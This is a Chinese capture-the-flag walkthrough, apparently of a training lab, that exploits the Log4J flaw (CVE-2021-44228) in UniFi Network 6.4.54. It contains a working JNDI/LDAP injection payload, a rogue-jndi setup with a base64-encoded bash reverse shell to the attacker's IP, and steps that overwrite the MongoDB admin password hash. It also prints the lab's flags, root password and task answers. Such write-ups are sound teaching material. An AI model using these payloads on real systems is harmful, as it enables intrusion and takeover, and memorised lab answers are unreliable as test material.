本次探讨在一个非常著名的网络设备监控系统“UniFi”中利用 Log4J 的效果。这台靶机展示了如何设置和安装必要的软件包和工具,以通过滥用 Log4J 漏洞利用 UniFi 并操纵名为 remember 的 POST 标头,为您提供机器上的反向 shell。您还将通过更改系统上运行的 MongoDB 实例中保存的哈希值来更改管理员密码,这将允许访问管理面板并导致管理员的 SSH 密码泄露。
涉及内容:UniFi、CVE检索、Log4J、JNDI、LDAP、MongoDB、提权、SSH
废话不多说,开扫:
nmap -sC -sV -v 10.129.248.255
扫描出22,6789,8080,8443端口。
TASK 1,开放了哪些端口?22,6789,8080,8443
TASK 2,最高端口运行哪个软件?从nmap扫描结果来看,在8443端口,http-title为UniFi Network(从8443端口进入也能看到标题为UniFi Network)
TASK 3,该软件版本号是?6.4.54
进入ip:8443
端口,看到这里的版本号为6.4.54
TASK 4,已识别漏洞的CVE是多少?CVE-2021-44228
我们在一些CVE搜索网站里如https://cve.mitre.org/,搜索一下UniFi
| CVE-2021-44530 | An injection vulnerability exists in a third-party library used in UniFi Network Version 6.5.53 and earlier (Log4J CVE-2021-44228) allows a malicious actor to control the application.
UniFi Network 6.5.53及以前版本中使用的第三方库存在一个注入漏洞(Log4J CVE-2021-44228),允许恶意行为者控制应用程序。 |
| — | — |
此 Log4J 漏洞可通过注入操作系统命令 (OS Command Injection) 来利用,这是一种 Web 安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统命令,通常会完全破坏应用程序并破坏其数据。
说明该漏洞前,先简单介绍一下JNDI
和LDAP
:
JNDI
是 Java Naming and Directory Interface API 的首字母缩写,Java名称与目录接口。 通过调用此 API,应用程序可以定位资源和其他程序对象。 资源是提供与系统连接的程序对象,例如数据库服务器和消息传递系统。
LDAP
是 Lightweight Directory Access Protocol 的首字母缩写,轻量级目录访问协议,它是一种开放的、供应商中立的、行业标准的应用程序协议,用于通过 Internet 或网络访问和维护分布式目录信息服务。LDAP 运行的默认端口是端口 389。
简述一下该漏洞的原理:
org.apache.logging.log4j.core.pattern.MessagePatternConverter
类的format()
方法发现日志中包含${
就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。${
可使用的关键词非常多,例如:${java:os}
、${hostName}
、${jndi:logging/context-name}
等。
org.apache.logging.log4j.core.lookup.StrSubstitutor
中提取参数并通过lookup
进行内容替换,当日志在打印时遇到${
后,Interpolator类以:
号作为分割,将表达式内容分割成两部分,前面部分作为prefix,后面部分作为key。然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行。
POC:${jndi:ldap://my-ip/exp}
,除了利用到log4j的递归解析,同样涉及到了JNDI注入,所谓的JNDI注入就是当上文代码中JNDI变量可控时引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。当这条语句被传入到log4j日志文件中,lookup会将JNDI注入可执行语句执行,程序会通过ldap协议访问my-ip这个地址,然后my-ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行,从而达成漏洞利用目的。
漏洞的利用过程:
第一步:向目标发送指定payload,目标对payload进行解析执行,然后会通过ldap链接远程服务,当ldap服务收到请求之后,将请求进行重定向到恶意java class的地址。
第二步:目标服务器收到重定向请求之后,下载恶意class并执行其中的代码,从而执行系统命令。
为了确定是否是这种情况,我们可以在向/api/login
发出 POST 请求后,将请求传递给 BurpSuite,BurpSuite 将作为中间人拦截它。 然后可以编辑请求以注入命令。
在8443端口的登陆页面,输入账号密码,勾选Remember Me,然后SIGN IN,用burp拦截。
将有效payload输入到remember
参数中。 因为 POST 数据作为 JSON 对象发送,并且payload包含{}
,为了防止它被解析为另一个 JSON 对象,我们将其括在""
以便将其解析为字符串。这里将remember的true
修改为"${jndi:ldap://my_tun0_ip/suiyi}"
。
这里显示InvalidPayload即无效载荷,但实际上payload正在运行。
我们在389端口(LDAP)上开启tcpdump
,来监听LDAP的网络流量。
sudo tcpdump -i tun0 port 389
然后在运行我们刚才的payload,这里成功监听到流量,目标机的55636端口成功给tun0的ldap发送了信息,我们tun0进行回复一个RST。
注:tcpdump
是一个在命令行界面下运行的数据网络数据包分析器计算机程序。它允许用户显示通过计算机连接的网络传输或接收的 TCP/IP 和其他数据包。
首先安装好JDK和MAVEN(请自行搜索安装教程,或者看本靶机的Walkthrouth),这些将帮助我们运行 rogue-jndi
Java 应用程序,运行后会启动本地 LDAP 服务器并允许我们从易受攻击的服务器接收连接并执行恶意代码。
TASK 5,已安装的Maven版本是多少?3.6.3
mvn -v
查看版本
克隆rogue-jndi存储库并使用 Maven 构建包。如果觉得速度较慢,可以开代理,用proxychains等工具(proxychains git clone
等)
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
BUILD SUCCESS后会在rogue-jndi/target/
目录中创建一个名为 RogueJndi-1.1.jar 的 .jar 文件。 现在我们可以构造payload以传递给 RogueJndi-1-1.jar Java 应用程序。
要使用 Rogue-JNDI 服务器,我们必须构造并传递一个payload,该payload将负责在目标系统上为我们提供一个 shell。对payload进行 Base64 编码,以防止出现任何编码问题。
echo 'bash -c bash -i >&/dev/tcp/your_tun0_ip/port 0>&1' | base64
打印出一串base64编码的字符
创建payload后,启动 Rogue-JNDI 应用程序,同时将payload作为 --command 选项的一部分以及将tun0 IP 地址传递给 --hostname 选项。(注:这里要注意该语句的空格问题)
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuNDcvMzMzMyAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "your_tun0_ip"
我们本机开启对3333端口的监听
nc -lvvp 3333
回到我们构造post请求的payload中,将remember的值改为RogueJndi中mapping的值,"remember": "${jndi:ldap://your_tun0_ip:1389/o=tomcat}"
发送请求后,收到一个与我们恶意服务器的连接,显示如下。
nc接收反弹的shell
使用script /dev/null -c bash
升级一下shell,变成交互式的shell
我们从/home/michael
目录下获得了user flag:6ced1a6a89e666c0620cdb10262ba127
提权
UniFi应用一般用MongoDB作为数据库(MongoDB 是一个源代码可用的跨平台面向文档的数据库程序。 MongoDB 被归类为 NoSQL 数据库程序,它使用带有可选模式的类似 JSON 的文档),我们先使用
ps aux | grep mongo
查找一下当前运行的程序中mongoDB运行情况,这里是运行在27117端口。
搜索发现,UniFi默认数据库的名称一般为ace
。
通过mongo命令尝试提取管理员密码来与MongoDB服务进行交互。
(db.admin.find()
:查询admin表下的所有数据,即查询所有用户;forEach()
遍历;printjson
,json格式打印)
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
这里得到管理员账号/密码:administrator/$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.
$6
意思是SHA-512加密(SHA-512 或安全散列算法 512 是一种散列算法,用于将任意长度的文本转换为固定大小的字符串。 每个输出产生 512 位(64 字节)的 SHA-512 长度。 该算法常用于电子邮件地址散列、密码散列…)
如果我们不知道也没关系,可以使用hashid
来判断该密码的类型
hashid '$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.'
这里密码哈希位于 x_shadow 变量中,但在这种情况下,密码破解程序无法破解。但我们可以使用自己创建的哈希更改 x_shadow 密码哈希,以替换管理员密码并通过管理面板进行身份验证。
我们使用 mkpasswd 来创建一个密码,-m:指定加密类型。
mkpasswd -m sha-512 123456
一旦我们生成了 SHA-512 哈希,输出看起来与上面的类似,但是由于盐(salt)的原因,每次生成哈希都会改变。将盐(salt)添加到哈希过程中以强制其唯一性,在不增加用户要求的情况下增加其复杂性,并减轻哈希表等密码攻击。
现在使用我们创建的hash来进行替换(通过administrator的_id进行标识,替换其x_shadow)
mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"SHA_512 Hash Generated"}})'
检查密码是否更新,重新遍历一次,看到x_shadow内容已经替换成我们自己创建的hash值。
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
接下来我们就可以使用administrator/123456登陆到后台。
在后台SETTINGS的Site页面,我们找到了SSH认证的root账号及密码NotACrackablePassword4U2022,我们可以通过SSH连接。
SSH连接到root
ssh root@ip
ls
,查看当前目录下内容
cat root.txt
,得到root的flag:
下面来回答几个靶机问题:
TASK 6,JNDI注入利用什么协议?LDAP
TASK 7,用什么工具来拦截流量,表明我们攻击成功?tcpdump
,监听在389端口(LDAP)有数据流显示。
TASK 8,我们需要检查哪个端口的拦截流量?389
,LDAP
TASK 9,MongoDB服务运行在哪个端口?27117
TASK 10,UniFi应用程序的默认数据库名称是什么?ace
TASK 11,在 MongoDB 中用于枚举数据库中的用户的函数是什么?db.admin.find()
TASK 12,MongoDB中向数据库添加数据的函数是什么?db.admin.insert()
TASK 13,更新MongoDB数据的函数是什么?db.admin.update()
TASK 14,root用户的密码是什么?NotACrackablePassword4U2022
最后提交user flag和root flag。